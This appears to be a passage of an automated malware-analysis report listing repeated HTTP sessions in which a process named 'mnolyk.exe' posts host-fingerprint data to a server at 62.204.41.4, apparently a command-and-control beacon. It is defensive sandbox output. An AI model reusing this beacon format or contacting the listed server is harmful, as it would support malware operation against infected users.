Feb 7, 2023 23:10:22.892314911 CET	868	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:22.956516027 CET	868	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
754	192.168.2.7	50449	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:23.123641014 CET	869	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:23.188611031 CET	869	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
755	192.168.2.7	50450	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:23.361476898 CET	870	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:23.426613092 CET	870	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
756	192.168.2.7	50451	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:23.598728895 CET	871	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:23.662494898 CET	871	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
757	192.168.2.7	50452	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:23.844381094 CET	872	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:23.909277916 CET	872	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
758	192.168.2.7	50453	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:24.103441000 CET	873	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:24.168864012 CET	873	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
759	192.168.2.7	50454	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:24.351475954 CET	874	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:24.415527105 CET	874	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.7	49771	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:21.708261967 CET	191	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:21.771372080 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
760	192.168.2.7	50455	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:24.593085051 CET	875	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:24.656892061 CET	875	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
761	192.168.2.7	50456	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:24.827370882 CET	876	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:24.891055107 CET	876	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
762	192.168.2.7	50457	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:25.069011927 CET	877	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:25.133157969 CET	877	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
763	192.168.2.7	50458	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:25.313774109 CET	878	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:25.378963947 CET	878	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
764	192.168.2.7	50459	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:25.566570044 CET	879	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:25.630063057 CET	879	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
765	192.168.2.7	50460	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:25.826616049 CET	880	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:25.888734102 CET	880	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
766	192.168.2.7	50461	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:26.066420078 CET	881	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:26.132620096 CET	881	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
767	192.168.2.7	50462	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:26.316744089 CET	882	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:26.380753040 CET	882	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
768	192.168.2.7	50463	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:26.545691967 CET	883	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:26.608530998 CET	883	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
769	192.168.2.7	50464	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:26.781065941 CET	884	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:26.845169067 CET	884	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.7	49772	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:21.956084013 CET	192	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:22.022943974 CET	192	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
770	192.168.2.7	50465	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:27.020473957 CET	885	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:27.084064960 CET	885	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
771	192.168.2.7	50466	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:27.272311926 CET	886	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:10:27.335064888 CET	886	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
772	192.168.2.7	50467	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:10:27.519526958 CET	887	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
